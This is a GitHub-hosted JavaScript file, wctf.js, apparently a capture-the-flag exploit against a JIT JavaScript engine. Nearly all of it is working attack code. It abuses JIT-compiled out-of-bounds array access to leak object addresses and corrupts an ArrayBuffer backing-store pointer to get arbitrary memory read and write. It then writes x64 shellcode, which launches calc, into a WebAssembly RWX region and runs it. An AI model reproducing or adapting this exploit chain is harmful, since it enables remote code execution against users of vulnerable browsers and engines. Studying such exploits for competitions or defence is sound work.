-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy pathwctf.js
146 lines (103 loc) · 4.23 KB
/
wctf.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);
let f2i = (f) =>
{
fv[0] = f;
return dv[0];
}
let i2f = (i) =>
{
dv[0] = BigInt(i);
return fv[0];
}
let i2ba = (i) =>
{
dv[0] = BigInt(i);
return float_array.from(new Uint8Array(ab)).reverse();
}
let smi2f = (i) =>
{
return i2f(parseInt(i.toString(16)+"0".repeat(8),16))
}
let hexprintablei = (i) =>
{
return "0x"+(i).toString(16).padStart(16,"0");
}
const shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00]
const log=print
const debug=false;
log("[+] Start exploit...");
log("[+] Setup wasm instance");
function test() {
var wasmImports = {
env: {
puts: function puts (index) {}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
return m;
}
wasm_instance=test();
pwnme = wasm_instance.exports.hello;
log("[+] Setup leak and fake functions");
array=[1.1,1.2,1.3];
array.x=1.1;
function leak(i)
{
return array[i];
}
function write(i,a)
{
array[i]=a;
}
log("[+] JIT leak and fake functions")
for(i=0;i<0x10000;i++)leak(0);
for(i=0;i<0x10000;i++)write(0,1.1);
array[2]=wasm_instance;
let wasm_instance_addr=(f2i(leak(2)));
log("[+] Wasm instance addr : "+hexprintablei(wasm_instance_addr));
array[0x1000]=1.1;
log("[+] Getting backstore pointer index")
log("[+] Getting index for fakeme array")
let arraybuffer= new ArrayBuffer(0x414141);
for(i=0;i<0x200/8;i++)
{
hexprintablei(leak(i));
if(leak(i)==i2f(0x414141))
{
backstore_ptr_idx=i+1;
}
}
log("[+] Backstore addr : "+hexprintablei(f2i(leak(backstore_ptr_idx))));
log("[+] Setup R/W primitives");
let read8 = (addr) =>
{
write(backstore_ptr_idx,i2f(addr));
let a = new DataView(arraybuffer);
if(debug)log(hexprintablei(f2i(a.getFloat64(0,true))));
return f2i(a.getFloat64(0,true))
}
let write8 = (idxx, data) =>
{
a = new DataView(arraybuffer);
a.setUint8(idxx,shellcode[idxx]);
}
log("[+] Getting RWX pointer from wasm");
let jump_table_start=read8(wasm_instance_addr+0x80n-1n);
log("[+] Address RWX : "+hexprintablei(jump_table_start))
log("[+] Writing shellcode...")
write(backstore_ptr_idx,i2f(jump_table_start));
for (idxx = 0; idxx < shellcode.length; idxx++)
{
write8(idxx, shellcode[idxx]);
}
log("[+] Spawning calc like its 1991 !")
pwnme();